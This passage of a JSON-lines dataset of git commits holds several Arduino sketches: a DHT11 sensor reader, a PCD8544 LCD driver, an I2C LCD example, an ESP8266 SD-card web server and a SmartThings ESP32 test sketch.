}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ZumoExamples\/examples\/BorderDetectExample\/BorderDetectExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"52a6923f56de286b81044a6da94fe636bf79a610","subject":"new temphumi","message":"new temphumi\n","repos":"iot-labs\/farm,iot-labs\/farm,iot-labs\/farm,iot-labs\/farm,iot-labs\/farm","old_file":"Platforms\/Arduino\/temphumi\/temphumi.ino","new_file":"Platforms\/Arduino\/temphumi\/temphumi.ino","new_contents":"#include <DHT11.h>\nint pin=2;\nDHT11 dht11(pin); \nvoid setup()\n{\n Serial.begin(9600);\n while (!Serial) {\n ; \n }\n}\n\nvoid loop()\n{\n int err;\n float temp, humi;\n if((err=dht11.read(humi, temp))==0)\n {\n Serial.print(\"temperature:\");\n Serial.print(temp);\n Serial.print(\" humidity:\");\n Serial.print(humi);\n Serial.println();\n }\n else\n {\n Serial.println();\n Serial.print(\"Error No :\");\n Serial.print(err);\n Serial.println(); \n }\n delay(1000); \/\/delay for reread\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Platforms\/Arduino\/temphumi\/temphumi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7380f1f85ca0542a6856d650739d10b728669dd0","subject":"added new loop and fixed crab i think","message":"added new loop and fixed crab i think\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Code\/MotorsRX_EZ\/MotorsRX_EZ.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"079a8d27573493803368287805954e2fbc8ea2f2","subject":"Got lcd driver working with MSP430","message":"Got lcd driver working with MSP430\n","repos":"fkmclane\/derailleurs,fkmclane\/derailleurs,fkmclane\/derailleurs","old_file":"tinkering\/interface\/lcdController\/lcdController.ino","new_file":"tinkering\/interface\/lcdController\/lcdController.ino","new_contents":"\/*\nPhilips PCD8544 Controller and interface code.\n\nBasis of library pulled from: http:\/\/playground.arduino.cc\/Code\/PCD8544\nMostly unmodified in first commit.\n*\/\n\n#define PIN_SCE P1_5\n#define PIN_RESET P1_4\n#define PIN_DC P1_3\n#define PIN_SDIN P3_6\n#define PIN_SCLK P3_5\n#define PIN_BL P1_2\n\n#define LCD_C LOW\n#define LCD_D HIGH\n\n#define LCD_X 84\n#define LCD_Y 48\n\nstatic const byte ASCII[][5] =\n{\n {0x00, 0x00, 0x00, 0x00, 0x00} \/\/ 20 \n,{0x00, 0x00, 0x5f, 0x00, 0x00} \/\/ 21 !\n,{0x00, 0x07, 0x00, 0x07, 0x00} \/\/ 22 \"\n,{0x14, 0x7f, 0x14, 0x7f, 0x14} \/\/ 23 #\n,{0x24, 0x2a, 0x7f, 0x2a, 0x12} \/\/ 24 $\n,{0x23, 0x13, 0x08, 0x64, 0x62} \/\/ 25 %\n,{0x36, 0x49, 0x55, 0x22, 0x50} \/\/ 26 &\n,{0x00, 0x05, 0x03, 0x00, 0x00} \/\/ 27 '\n,{0x00, 0x1c, 0x22, 0x41, 0x00} \/\/ 28 (\n,{0x00, 0x41, 0x22, 0x1c, 0x00} \/\/ 29 )\n,{0x14, 0x08, 0x3e, 0x08, 0x14} \/\/ 2a *\n,{0x08, 0x08, 0x3e, 0x08, 0x08} \/\/ 2b +\n,{0x00, 0x50, 0x30, 0x00, 0x00} \/\/ 2c ,\n,{0x08, 0x08, 0x08, 0x08, 0x08} \/\/ 2d -\n,{0x00, 0x60, 0x60, 0x00, 0x00} \/\/ 2e .\n,{0x20, 0x10, 0x08, 0x04, 0x02} \/\/ 2f \/\n,{0x3e, 0x51, 0x49, 0x45, 0x3e} \/\/ 30 0\n,{0x00, 0x42, 0x7f, 0x40, 0x00} \/\/ 31 1\n,{0x42, 0x61, 0x51, 0x49, 0x46} \/\/ 32 2\n,{0x21, 0x41, 0x45, 0x4b, 0x31} \/\/ 33 3\n,{0x18, 0x14, 0x12, 0x7f, 0x10} \/\/ 34 4\n,{0x27, 0x45, 0x45, 0x45, 0x39} \/\/ 35 5\n,{0x3c, 0x4a, 0x49, 0x49, 0x30} \/\/ 36 6\n,{0x01, 0x71, 0x09, 0x05, 0x03} \/\/ 37 7\n,{0x36, 0x49, 0x49, 0x49, 0x36} \/\/ 38 8\n,{0x06, 0x49, 0x49, 0x29, 0x1e} \/\/ 39 9\n,{0x00, 0x36, 0x36, 0x00, 0x00} \/\/ 3a :\n,{0x00, 0x56, 0x36, 0x00, 0x00} \/\/ 3b ;\n,{0x08, 0x14, 0x22, 0x41, 0x00} \/\/ 3c <\n,{0x14, 0x14, 0x14, 0x14, 0x14} \/\/ 3d =\n,{0x00, 0x41, 0x22, 0x14, 0x08} \/\/ 3e >\n,{0x02, 0x01, 0x51, 0x09, 0x06} \/\/ 3f ?\n,{0x32, 0x49, 0x79, 0x41, 0x3e} \/\/ 40 @\n,{0x7e, 0x11, 0x11, 0x11, 0x7e} \/\/ 41 A\n,{0x7f, 0x49, 0x49, 0x49, 0x36} \/\/ 42 B\n,{0x3e, 0x41, 0x41, 0x41, 0x22} \/\/ 43 C\n,{0x7f, 0x41, 0x41, 0x22, 0x1c} \/\/ 44 D\n,{0x7f, 0x49, 0x49, 0x49, 0x41} \/\/ 45 E\n,{0x7f, 0x09, 0x09, 0x09, 0x01} \/\/ 46 F\n,{0x3e, 0x41, 0x49, 0x49, 0x7a} \/\/ 47 G\n,{0x7f, 0x08, 0x08, 0x08, 0x7f} \/\/ 48 H\n,{0x00, 0x41, 0x7f, 0x41, 0x00} \/\/ 49 I\n,{0x20, 0x40, 0x41, 0x3f, 0x01} \/\/ 4a J\n,{0x7f, 0x08, 0x14, 0x22, 0x41} \/\/ 4b K\n,{0x7f, 0x40, 0x40, 0x40, 0x40} \/\/ 4c L\n,{0x7f, 0x02, 0x0c, 0x02, 0x7f} \/\/ 4d M\n,{0x7f, 0x04, 0x08, 0x10, 0x7f} \/\/ 4e N\n,{0x3e, 0x41, 0x41, 0x41, 0x3e} \/\/ 4f O\n,{0x7f, 0x09, 0x09, 0x09, 0x06} \/\/ 50 P\n,{0x3e, 0x41, 0x51, 0x21, 0x5e} \/\/ 51 Q\n,{0x7f, 0x09, 0x19, 0x29, 0x46} \/\/ 52 R\n,{0x46, 0x49, 0x49, 0x49, 0x31} \/\/ 53 S\n,{0x01, 0x01, 0x7f, 0x01, 0x01} \/\/ 54 T\n,{0x3f, 0x40, 0x40, 0x40, 0x3f} \/\/ 55 U\n,{0x1f, 0x20, 0x40, 0x20, 0x1f} \/\/ 56 V\n,{0x3f, 0x40, 0x38, 0x40, 0x3f} \/\/ 57 W\n,{0x63, 0x14, 0x08, 0x14, 0x63} \/\/ 58 X\n,{0x07, 0x08, 0x70, 0x08, 0x07} \/\/ 59 Y\n,{0x61, 0x51, 0x49, 0x45, 0x43} \/\/ 5a Z\n,{0x00, 0x7f, 0x41, 0x41, 0x00} \/\/ 5b [\n,{0x02, 0x04, 0x08, 0x10, 0x20} \/\/ 5c \u00a5\n,{0x00, 0x41, 0x41, 0x7f, 0x00} \/\/ 5d ]\n,{0x04, 0x02, 0x01, 0x02, 0x04} \/\/ 5e ^\n,{0x40, 0x40, 0x40, 0x40, 0x40} \/\/ 5f _\n,{0x00, 0x01, 0x02, 0x04, 0x00} \/\/ 60 `\n,{0x20, 0x54, 0x54, 0x54, 0x78} \/\/ 61 a\n,{0x7f, 0x48, 0x44, 0x44, 0x38} \/\/ 62 b\n,{0x38, 0x44, 0x44, 0x44, 0x20} \/\/ 63 c\n,{0x38, 0x44, 0x44, 0x48, 0x7f} \/\/ 64 d\n,{0x38, 0x54, 0x54, 0x54, 0x18} \/\/ 65 e\n,{0x08, 0x7e, 0x09, 0x01, 0x02} \/\/ 66 f\n,{0x0c, 0x52, 0x52, 0x52, 0x3e} \/\/ 67 g\n,{0x7f, 0x08, 0x04, 0x04, 0x78} \/\/ 68 h\n,{0x00, 0x44, 0x7d, 0x40, 0x00} \/\/ 69 i\n,{0x20, 0x40, 0x44, 0x3d, 0x00} \/\/ 6a j \n,{0x7f, 0x10, 0x28, 0x44, 0x00} \/\/ 6b k\n,{0x00, 0x41, 0x7f, 0x40, 0x00} \/\/ 6c l\n,{0x7c, 0x04, 0x18, 0x04, 0x78} \/\/ 6d m\n,{0x7c, 0x08, 0x04, 0x04, 0x78} \/\/ 6e n\n,{0x38, 0x44, 0x44, 0x44, 0x38} \/\/ 6f o\n,{0x7c, 0x14, 0x14, 0x14, 0x08} \/\/ 70 p\n,{0x08, 0x14, 0x14, 0x18, 0x7c} \/\/ 71 q\n,{0x7c, 0x08, 0x04, 0x04, 0x08} \/\/ 72 r\n,{0x48, 0x54, 0x54, 0x54, 0x20} \/\/ 73 s\n,{0x04, 0x3f, 0x44, 0x40, 0x20} \/\/ 74 t\n,{0x3c, 0x40, 0x40, 0x20, 0x7c} \/\/ 75 u\n,{0x1c, 0x20, 0x40, 0x20, 0x1c} \/\/ 76 v\n,{0x3c, 0x40, 0x30, 0x40, 0x3c} \/\/ 77 w\n,{0x44, 0x28, 0x10, 0x28, 0x44} \/\/ 78 x\n,{0x0c, 0x50, 0x50, 0x50, 0x3c} \/\/ 79 y\n,{0x44, 0x64, 0x54, 0x4c, 0x44} \/\/ 7a z\n,{0x00, 0x08, 0x36, 0x41, 0x00} \/\/ 7b {\n,{0x00, 0x00, 0x7f, 0x00, 0x00} \/\/ 7c |\n,{0x00, 0x41, 0x36, 0x08, 0x00} \/\/ 7d }\n,{0x10, 0x08, 0x08, 0x10, 0x08} \/\/ 7e \u2190\n,{0x78, 0x46, 0x41, 0x46, 0x78} \/\/ 7f \u2192\n};\n\nvoid LcdCharacter(char character)\n{\n LcdWrite(LCD_D, 0x00);\n for (int index = 0; index < 5; index++)\n {\n LcdWrite(LCD_D, ASCII[character - 0x20][index]);\n }\n LcdWrite(LCD_D, 0x00);\n}\n\nvoid LcdClear(void)\n{\n for (int index = 0; index < LCD_X * LCD_Y \/ 8; index++)\n {\n LcdWrite(LCD_D, 0x00);\n }\n}\n\nvoid LcdInitialise(void)\n{\n pinMode(PIN_SCE, OUTPUT);\n pinMode(PIN_RESET, OUTPUT);\n pinMode(PIN_DC, OUTPUT);\n pinMode(PIN_SDIN, OUTPUT);\n pinMode(PIN_SCLK, OUTPUT);\n digitalWrite(PIN_RESET, LOW);\n digitalWrite(PIN_RESET, HIGH);\n LcdWrite(LCD_C, 0x21 ); \/\/ LCD Extended Commands.\n LcdWrite(LCD_C, 0xB1 ); \/\/ Set LCD Vop (Contrast). \n LcdWrite(LCD_C, 0x04 ); \/\/ Set Temp coefficent. \/\/0x04\n LcdWrite(LCD_C, 0x14 ); \/\/ LCD bias mode 1:48. \/\/0x13\n LcdWrite(LCD_C, 0x20 ); \/\/ LCD Basic Commands\n LcdWrite(LCD_C, 0x0C ); \/\/ LCD in normal mode.\n}\n\nvoid LcdString(char *characters)\n{\n while (*characters)\n {\n LcdCharacter(*characters++);\n }\n}\n\nvoid LcdWrite(byte dc, byte data)\n{\n digitalWrite(PIN_DC, dc);\n digitalWrite(PIN_SCE, LOW);\n shiftOut(PIN_SDIN, PIN_SCLK, MSBFIRST, data);\n digitalWrite(PIN_SCE, HIGH);\n}\n\nvoid setup(void)\n{\n LcdInitialise();\n LcdClear();\n Serial.println(\"writing out\");\n LcdString(\"Hello World!\");\n}\n\nvoid loop(void)\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tinkering\/interface\/lcdController\/lcdController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"81193737199b1776f3c88a4e9a5add928d38aaaa","subject":"Create example.ino","message":"Create example.ino","repos":"bigmacd\/I2c16by2LCD","old_file":"example\/example.ino","new_file":"example\/example.ino","new_contents":"\/\/\n\/\/ This is code I found myself inserting into sketches over and over. This makes it a little\n\/\/ easier as it is now a library. Emphasis on a little.\n\/\/\n\/\/ I tend to run my sketches for days, and I don't want the LCD on the whole time, so I have a button\n\/\/ on (in this example) pin 12; So when I am done for the evening, I just press the button\n\/\/ and turn the LCD off. The messages, including any updates, continues, however.\n\/\/\n\/\/ This examples simply updates the message on the first line of the display with a count.\n\/\/\n\n#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\n#include <a16by2.h>\n\n#define I2C_ADDR 0x27 \/\/ Define I2C Address where the PCF8574A is\n#define BACKLIGHT_PIN 3\n#define En_pin 2\n#define Rw_pin 1\n#define Rs_pin 0\n#define D4_pin 4\n#define D5_pin 5\n#define D6_pin 6\n#define D7_pin 7\n\nlong msgCount = 0;\nint backlightButtonState = HIGH;\n\nlong messageWriteMillis;\nlong buttonPressMillis;\nlong messageWriteLoop = 5000;\nlong buttonPressLoop = 250;\n\nLiquidCrystal_I2C\ttlcd(I2C_ADDR,En_pin,Rw_pin,Rs_pin,D4_pin,D5_pin,D6_pin,D7_pin);\nA16by2 lcd;\n\nvoid setup()\n{\n pinMode(12, INPUT);\n tlcd.setBacklightPin(BACKLIGHT_PIN, POSITIVE);\n lcd.begin(&tlcd);\n messageWriteMillis = buttonPressMillis = millis();\n}\n\nvoid loop()\n{\n long startMillis = millis();\n if ((startMillis - messageWriteMillis) > messageWriteLoop) {\n messageWrite();\n messageWriteMillis = startMillis;\n }\n \n if ((startMillis - buttonPressMillis) > buttonPressLoop) {\n backlightPress();\n buttonPressMillis = startMillis;\n }\n}\n\nvoid backlightPress() {\n int currentState = digitalRead(12);\n if (currentState == HIGH && currentState != backlightButtonState)\n lcd.backlightToggle(&tlcd); \n backlightButtonState = currentState; \n}\n\nvoid messageWrite() {\n String message = \"Loop Count: \";\n message += x++;\n lcd.displayMessageOnLine1(&tlcd, message);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'example\/example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ecfac7cd6cfee41a273b4f600a62bc859278acc8","subject":"add SD Card Web Server example","message":"add SD Card Web Server example\n\nworking fine with the latest wifi lib\n","repos":"Adam5Wu\/Arduino,Juppit\/Arduino,Juppit\/Arduino,Cloudino\/Arduino,KaloNK\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Cloudino\/Cloudino-Arduino-IDE,CanTireInnovations\/Arduino,Adam5Wu\/Arduino,Lan-Hekary\/Arduino,edog1973\/Arduino,Cloudino\/Arduino,me-no-dev\/Arduino,Juppit\/Arduino,me-no-dev\/Arduino,toastedcode\/esp8266-Arduino,Links2004\/Arduino,gguuss\/Arduino,jes\/Arduino,wemos\/Arduino,CanTireInnovations\/Arduino,Links2004\/Arduino,lrmoreno007\/Arduino,edog1973\/Arduino,martinayotte\/ESP8266-Arduino,lrmoreno007\/Arduino,quertenmont\/Arduino,NextDevBoard\/Arduino,quertenmont\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NextDevBoard\/Arduino,quertenmont\/Arduino,NullMedia\/Arduino,sticilface\/Arduino,esp8266\/Arduino,edog1973\/Arduino,KaloNK\/Arduino,Cloudino\/Arduino,Adam5Wu\/Arduino,Adam5Wu\/Arduino,martinayotte\/ESP8266-Arduino,Juppit\/Arduino,CanTireInnovations\/Arduino,Cloudino\/Arduino,jes\/Arduino,jes\/Arduino,wemos\/Arduino,CanTireInnovations\/Arduino,sticilface\/Arduino,hallard\/Arduino,Lan-Hekary\/Arduino,sticilface\/Arduino,me-no-dev\/Arduino,KaloNK\/Arduino,esp8266\/Arduino,Links2004\/Arduino,lrmoreno007\/Arduino,jes\/Arduino,Adam5Wu\/Arduino,sticilface\/Arduino,Links2004\/Arduino,gguuss\/Arduino,gguuss\/Arduino,wemos\/Arduino,toastedcode\/esp8266-Arduino,toastedcode\/esp8266-Arduino,NullMedia\/Arduino,sticilface\/Arduino,toastedcode\/esp8266-Arduino,martinayotte\/ESP8266-Arduino,esp8266\/Arduino,Lan-Hekary\/Arduino,NullMedia\/Arduino,CanTireInnovations\/Arduino,gguuss\/Arduino,Cloudino\/Cloudino-Arduino-IDE,quertenmont\/Arduino,KaloNK\/Arduino,esp8266\/Arduino,Lan-Hekary\/Arduino,hallard\/Arduino,Cloudino\/Arduino,Links2004\/Arduino,jes\/Arduino,lrmoreno007\/Arduino,chrisfraser\/Arduino,CanTireInnovations\/Arduino,CanTireInnovations\/Arduino,chrisfraser\/Arduino,chrisfraser\/Arduino,edog1973\/Arduino,NullMedia\/Arduino,hallard\/Arduino,Juppit\/Arduino,edog1973\/Arduino,chrisfraser\/Arduino,gguuss\/Arduino,martinayotte\/ESP8266-Arduino,toastedcode\/esp8266-Arduino,quertenmont\/Arduino,Cloudino\/Cloudino-Arduino-IDE,hallard\/Arduino,Cloudino\/Arduino,NextDevBoard\/Arduino,me-no-dev\/Arduino,hallard\/Arduino,wemos\/Arduino,martinayotte\/ESP8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,NullMedia\/Arduino,lrmoreno007\/Arduino,Lan-Hekary\/Arduino,NextDevBoard\/Arduino,chrisfraser\/Arduino,Cloudino\/Arduino,NextDevBoard\/Arduino,Cloudino\/Cloudino-Arduino-IDE,wemos\/Arduino,me-no-dev\/Arduino,esp8266\/Arduino,KaloNK\/Arduino","old_file":"libraries\/ESP8266WebServer\/examples\/SDWebServer\/SDWebServer.ino","new_file":"libraries\/ESP8266WebServer\/examples\/SDWebServer\/SDWebServer.ino","new_contents":"\/* \n SDWebServer - Example WebServer with SD Card backend for esp8266\n\n Copyright (c) 2015 Hristo Gochkov. All rights reserved.\n This file is part of the ESP8266WebServer library for Arduino environment.\n \n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\n Have a FAT Formatted SD Card connected to the SPI port of the ESP8266\n The web root is the SD Card root folder\n File extensions with more than 3 charecters are not supported by the SD Library\n File Names longer than 8 charecters will be truncated by the SD library, so keep filenames shorter\n index.htm is the default index (works on subfolders as well)\n*\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <SPI.h>\n#include <SD.h>\n\n\/\/do not go larger than 1460 bytes as that is the maximum that could fit in a packet\n#define WWW_BUF_SIZE 1460\n\nconst char* ssid = \"**********\";\nconst char* password = \"**********\";\nconst char* hostname = \"esp8266sd\";\n\nMDNSResponder mdns;\nESP8266WebServer server(80);\n\nstatic bool hasSD = false;\n\nbool loadFromSdCard(String path){\n String dataType = \"text\/plain\";\n \/\/handle default index\n if(path.endsWith(\"\/\")) path += \"index.htm\";\n \n \/\/set proper Content-Type for the most common extensions\n if(path.endsWith(\".src\")) path = path.substring(0, path.lastIndexOf(\".\"));\n else if(path.endsWith(\".htm\")) dataType = \"text\/html\";\n else if(path.endsWith(\".css\")) dataType = \"text\/css\";\n else if(path.endsWith(\".js\")) dataType = \"application\/javascript\";\n else if(path.endsWith(\".png\")) dataType = \"image\/png\";\n else if(path.endsWith(\".gif\")) dataType = \"image\/gif\";\n else if(path.endsWith(\".jpg\")) dataType = \"image\/jpeg\";\n else if(path.endsWith(\".ico\")) dataType = \"image\/x-icon\";\n else if(path.endsWith(\".xml\")) dataType = \"text\/xml\";\n else if(path.endsWith(\".pdf\")) dataType = \"application\/pdf\";\n else if(path.endsWith(\".zip\")) dataType = \"application\/zip\";\n \n \/\/Try to open the file\n File dataFile = SD.open(path.c_str());\n \n \/\/if it's a folder, try to open the default index\n if(dataFile && dataFile.isDirectory()){\n path += \"\/index.htm\";\n dataType = \"text\/html\";\n dataFile = SD.open(path.c_str());\n }\n \n \/\/and finally if the file exists, stream the content to the client\n if (dataFile) {\n WiFiClient client = server.client();\n \/\/send the file headers\n String head = \"HTTP\/1.1 200 OK\\r\\nContent-Type: \";\n head += dataType;\n head += \"\\r\\nContent-Length: \";\n head += dataFile.size();\n head += \"\\r\\n\\r\\n\";\n client.print(head);\n \n \/\/partition the data packets to fit in a TCP packet (1460 bytes MAX)\n uint8_t obuf[WWW_BUF_SIZE];\n while (dataFile.available() > WWW_BUF_SIZE){\n dataFile.read(obuf, WWW_BUF_SIZE);\n client.write(obuf, WWW_BUF_SIZE);\n }\n \/\/stream the last data left (size is at most WWW_BUF_SIZE bytes)\n uint16_t leftLen = dataFile.available();\n dataFile.read(obuf, leftLen);\n client.write(obuf, leftLen);\n \n dataFile.close();\n return true;\n }\n return false;\n}\n\nvoid loadFromSdCard(){\n String message = \"FileNotFound\\n\\n\";\n if(hasSD){\n \/\/try to load the URL from SD Card\n if(loadFromSdCard(server.uri())) return;\n } else {\n message = \"SDCARD Not Detected\\n\\n\";\n }\n server.send(404, \"text\/plain\", message);\n}\n \nvoid setup(void){\n uint8_t i = 0;\n Serial.begin(115200);\n \n \/\/setup WiFi\n WiFi.begin(ssid, password);\n Serial.print(\"\\nConnecting to \");\n Serial.println(ssid);\n\n \/\/wait for WiFi to connect\n while (WiFi.status() != WL_CONNECTED && i++ < 20) delay(500);\n \n \/\/check if we have connected?\n if(i == 20){\n Serial.print(\"Could not connect to\");\n Serial.println(ssid);\n \/\/stop execution and wait forever\n while(1) delay(500);\n }\n Serial.print(\"Connected! IP address: \");\n Serial.println(WiFi.localIP());\n \n \/\/start mDNS Server\n if (mdns.begin(hostname, WiFi.localIP())) {\n Serial.println(\"MDNS responder started\");\n Serial.print(\"You can now connect to http:\/\/\");\n Serial.print(hostname);\n Serial.println(\".local\");\n }\n \n \/\/Attach handler\n server.onNotFound(loadFromSdCard);\n \n \/\/start server\n server.begin();\n Serial.println(\"HTTP server started\");\n \n \/\/init SD Card\n if (SD.begin(SS)){\n Serial.println(\"SD Card initialized.\");\n hasSD = true;\n }\n}\n \nvoid loop(void){\n mdns.update();\n server.handleClient();\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/ESP8266WebServer\/examples\/SDWebServer\/SDWebServer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"168ac64d0e6929fd3eefdac834b6611819585374","subject":"Create ST_Anything_Generic_Test_Sketch.ino","message":"Create ST_Anything_Generic_Test_Sketch.ino\n\nFor testing only","repos":"vseven\/SmartThings_VSeven","old_file":"Modified_ST_Anything_Libraries\/ST_Anything_Generic_Test_Sketch.ino","new_file":"Modified_ST_Anything_Libraries\/ST_Anything_Generic_Test_Sketch.ino","new_contents":"\/\/******************************************************************************************\n\/\/ File: Allans_Test_Sketch_For_ST_Anything.ino\n\/\/******************************************************************************************\n\/\/******************************************************************************************\n\/\/ SmartThings Library for ESP32WiFi\n\/\/******************************************************************************************\n#include <SmartThingsESP32WiFi.h>\n\n\/\/******************************************************************************************\n\/\/ ST_Anything Library \n\/\/******************************************************************************************\n#include <Constants.h> \/\/Constants.h is designed to be modified by the end user to adjust behavior of the ST_Anything library\n#include <Device.h> \/\/Generic Device Class, inherited by Sensor and Executor classes\n#include <Sensor.h> \/\/Generic Sensor Class, typically provides data to ST Cloud (e.g. Temperature, Motion, etc...)\n#include <InterruptSensor.h> \/\/Generic Interrupt \"Sensor\" Class, waits for change of state on digital input \n#include <PollingSensor.h> \/\/Generic Polling \"Sensor\" Class, polls Arduino pins periodically\n#include <Everything.h> \/\/Master Brain of ST_Anything library that ties everything together and performs ST Shield communications\n\n#include <PS_Generic.h> \/\/Implements a Polling Sensor (PS) to pull back custom programming \n\n\/\/****************************************************************************************************************************\n\/\/NodeMCU-32s ESP32 Pin Definitions (just for reference from ..hardware\\espressif\\esp32\\variants\\nodemcu-32s\\pins_arduino.h)\n\/\/****************************************************************************************************************************\n\/\/#define LED_BUILTIN 2\n\/\/#define BUILTIN_LED 2\n\/\/\n\/\/#define A0 = 36;\n\/\/#define A3 = 39;\n\/\/#define A4 = 32;\n\/\/#define A5 = 33;\n\/\/#define A6 = 34;\n\/\/#define A7 = 35;\n\/\/#define A10 = 4;\n\/\/#define A11 = 0;\n\/\/#define A12 = 2;\n\/\/#define A13 = 15;\n\/\/#define A14 = 13;\n\/\/#define A15 = 12;\n\/\/#define A16 = 14;\n\/\/#define A17 = 27;\n\/\/#define A18 = 25;\n\/\/#define A19 = 26;\n\n\/\/******************************************************************************************\n\/\/Define which Arduino Pins will be used for each device\n\/\/******************************************************************************************\n\/\/\"RESERVED\" pins for ESP32 - best to avoid\n#define PIN_0_RESERVED 0 \/\/reserved ESP32 boot\/program upload\n#define PIN_1_RESERVED 1 \/\/reserved ESP32 for TX0\n#define PIN_3_RESERVED 3 \/\/reserved ESP32 for RX0\n#define PIN_6_RESERVED 6 \/\/reserved ESP32 for flash\n#define PIN_7_RESERVED 7 \/\/reserved ESP32 for flash\n#define PIN_8_RESERVED 8 \/\/reserved ESP32 for flash\n#define PIN_9_RESERVED 9 \/\/reserved ESP32 for flash\n#define PIN_10_RESERVED 10 \/\/reserved ESP32 for flash\n#define PIN_11_RESERVED 11 \/\/reserved ESP32 for flash\n\n\/\/Analog Pins\n\n\n\/\/Digital Pins\n\n\n\/\/******************************************************************************************\n\/\/ESP832 WiFi Information\n\/\/******************************************************************************************\nString str_ssid = \"YOURSSID\"; \/\/ <---You must edit this line!\nString str_password = \"YOURPW\"; \/\/ <---You must edit this line!\nIPAddress ip(192, 168, 1, 170); \/\/ Device IP Address \/\/ <---You must edit this line!\nIPAddress gateway(192, 168, 1, 1); \/\/ Router gateway \/\/ <---You must edit this line!\nIPAddress subnet(255, 255, 255, 0); \/\/ LAN subnet mask \/\/ <---You must edit this line!\nIPAddress dnsserver(192, 168, 1, 1); \/\/ DNS server \/\/ <---You must edit this line!\nconst unsigned int serverPort = 8090; \/\/ port to run the http server on\n\n\/\/ Smartthings Hub Information\nIPAddress hubIp(192, 168, 1, 120); \/\/ smartthings hub ip \/\/ <---You must edit this line!\nconst unsigned int hubPort = 39500; \/\/ smartthings hub port\n\n\/\/******************************************************************************************\n\/\/st::Everything::callOnMsgSend() optional callback routine. This is a sniffer to monitor \n\/\/ data being sent to ST. This allows a user to act on data changes locally within the \n\/\/ Arduino sktech.\n\/\/******************************************************************************************\nvoid callback(const String &msg)\n{\n\/\/ Serial.print(F(\"ST_Anything Callback: Sniffed data = \"));\n\/\/ Serial.println(msg);\n \n \/\/TODO: Add local logic here to take action when a device's value\/state is changed\n \n}\n\n\/\/******************************************************************************************\n\/\/Arduino Setup() routine\n\/\/******************************************************************************************\nvoid setup()\n{\n \/\/******************************************************************************************\n \/\/ Setup the default values for the ADC. Used for analog voltage reads.\n \/\/ Notes: analogReadResolution(12) sets the resolution for all pins. 12 = 0-4095, 11 = 0-2047, 10 = 0-1024, 9 = 0-512 \n \/\/ analogSetAttenuation(ADC_11db) sets the attenuation for all pins. 11db = 0-3.3v, 6dB range = 0-2.2v, 2.5db = 0-1.5v, 0db = 0-1v\n \/\/ analogSetPinAttenuation(A7, ADC_11db) sets the attenuation for individual pins.\n \/\/******************************************************************************************\n \n analogReadResolution(11); \/\/ Default of 12 is not very linear. Recommended to use 10 or 11 depending on needed resolution.\n analogSetAttenuation(ADC_6db); \/\/ Default is 11db which is very noisy. Recommended to use 2.5 or 6.\n \n \/\/******************************************************************************************\n \/\/Declare each Device that is attached to the Arduino\n \/\/ Notes: - For each device, there is typically a corresponding \"tile\" defined in your \n \/\/ SmartThings Device Hanlder Groovy code, except when using new COMPOSITE Device Handler\n \/\/ - For details on each device's constructor arguments below, please refer to the \n \/\/ corresponding header (.h) and program (.cpp) files.\n \/\/ - The name assigned to each device (1st argument below) must match the Groovy\n \/\/ Device Handler names. (Note: \"temphumid\" below is the exception to this rule\n \/\/ as the DHT sensors produce both \"temperature\" and \"humidity\". Data from that\n \/\/ particular sensor is sent to the ST Hub in two separate updates, one for \n \/\/ \"temperature\" and one for \"humidity\")\n \/\/ - The new Composite Device Handler is comprised of a Parent DH and various Child\n \/\/ DH's. The names used below MUST not be changed for the Automatic Creation of\n \/\/ child devices to work properly. Simply increment the number by +1 for each duplicate\n \/\/ device (e.g. contact1, contact2, contact3, etc...) You can rename the Child Devices\n \/\/ to match your specific use case in the ST Phone Application.\n \/\/******************************************************************************************\n \/\/Polling Sensors\n static st::PS_Generic sensor1(F(\"generic1\"), 60, 0);\n \n \n \/\/Interrupt Sensors \n \n \n \/\/Special sensors\/executors (uses portions of both polling and executor classes)\n \n \n \/\/Executors\n \n \n \/\/*****************************************************************************\n \/\/ Configure debug print output from each main class \n \/\/ -Note: Set these to \"false\" if using Hardware Serial on pins 0 & 1\n \/\/ to prevent communication conflicts with the ST Shield communications\n \/\/*****************************************************************************\n st::Everything::debug=true;\n st::Executor::debug=true;\n st::Device::debug=true;\n st::PollingSensor::debug=true;\n st::InterruptSensor::debug=true;\n\n \/\/*****************************************************************************\n \/\/Initialize the \"Everything\" Class\n \/\/*****************************************************************************\n\n \/\/Initialize the optional local callback routine (safe to comment out if not desired)\n st::Everything::callOnMsgSend = callback;\n \n \/\/Create the SmartThings ESP32WiFi Communications Object\n \/\/STATIC IP Assignment - Recommended\n st::Everything::SmartThing = new st::SmartThingsESP32WiFi(str_ssid, str_password, ip, gateway, subnet, dnsserver, serverPort, hubIp, hubPort, st::receiveSmartString, 